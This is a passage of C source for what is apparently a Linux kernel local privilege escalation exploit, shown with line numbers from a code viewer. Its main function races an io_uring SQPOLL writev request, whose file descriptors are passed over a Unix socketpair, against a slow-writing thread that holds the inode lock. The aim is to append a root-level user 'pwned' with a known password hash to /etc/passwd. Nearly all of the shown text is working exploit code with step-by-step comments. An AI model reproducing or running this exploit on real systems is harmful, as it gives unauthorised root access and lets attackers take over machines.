| 119 | } |
| 120 | |
| 121 | int main(int argc, char **argv) { |
| 122 | pthread_t t; |
| 123 | struct io_uring ring; |
| 124 | int fd; |
| 125 | struct io_uring_params *params; |
| 126 | int rfd[3]; |
| 127 | int s[2]; |
| 128 | int target_fd; |
| 129 | start_write = (int *)mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); |
| 130 | assert(start_write != (int *)-1); |
| 131 | |
| 132 | struct stat st; |
| 133 | stat("/etc/passwd", &st); |
| 134 | int orig_passwd_size = st.st_size; // used to check whether /etc/passwd has changed |
| 135 | int size; |
| 136 | |
| 137 | *start_write = 0; |
| 138 | |
| 139 | // Password for new root user --> "lol" 因为本exp是附加写入"/etc/passwd",所以得添加新用户,而不是把当前用户hi变为root用户 |
| 140 | iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n"; // "hi2:x:0:0:root:/:/bin/sh\n" "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n" |
| 141 | iov[0].iov_len = 59; |
| 142 | iov[1].iov_base = "hello, world!\n"; |
| 143 | iov[1].iov_len = 14; |
| 144 | iov[2].iov_base = "hello, world!\n"; |
| 145 | iov[2].iov_len = 14; |
| 146 | iov[10].iov_base = "hello, world!\n"; |
| 147 | iov[10].iov_len = 14; |
| 148 | iov[11].iov_base = "hello, world!\n"; |
| 149 | iov[11].iov_len = 14; |
| 150 | |
| 151 | socketpair(AF_UNIX, SOCK_DGRAM, 0, s); |
| 152 | // Step 1: io_uring_setup (IORING_SETUP_SQPOLL) fd |
| 153 | params = malloc(sizeof(*params)); |
| 154 | memset(params, 0, sizeof(*params)); |
| 155 | params->flags = IORING_SETUP_SQPOLL; |
| 156 | fd = io_uring_setup2(32, params); |
| 157 | // Step 2: io_uring_register (IORING_REGISTER_FILES) s[1]/rfd[1] -> fd, fd->sk->sk_receive_queue save s[1]/rfd[1] |
| 158 | rfd[0] = s[1]; |
| 159 | rfd[1] = open("/tmp/rwA", O_RDWR | O_CREAT | O_APPEND, 0644); // 附写到文件之后,避免覆写 |
| 160 | io_uring_register2(fd, IORING_REGISTER_FILES, rfd, 2); |
| 161 | |
| 162 | close(rfd[1]); |
| 163 | // Step 3: s[0] -> [fd] -> s[1], s[1]->sk->sk_receive_queue save fd |
| 164 | sendfd(s[0], fd); |
| 165 | // Step 4: close(s[0] / s[1]) |
| 166 | close(s[0]); |
| 167 | close(s[1]); |
| 168 | // Step 5: take up the inode lock: sub-thread write (0x80000 * 0x1000) bytes to "/tmp/rwA" |
| 169 | printf("[+] Creating thread\n"); |
| 170 | pthread_create(&t, NULL, slow_write, NULL); |
| 171 | sleep(1); |
| 172 | |
| 173 | prepare_request(fd, params, &ring); // prepare writev request |
| 174 | printf("[+] Waiting for the sub-thread to get lock on file\n"); |
| 175 | while (*start_write == 0) { SPIN } |
| 176 | |
| 177 | printf("[+] Sub-thread 1 got inode lock!\n"); |
| 178 | printf("[+] Submitting io_uring request\n"); |
nothing calls this directly
no test coverage detected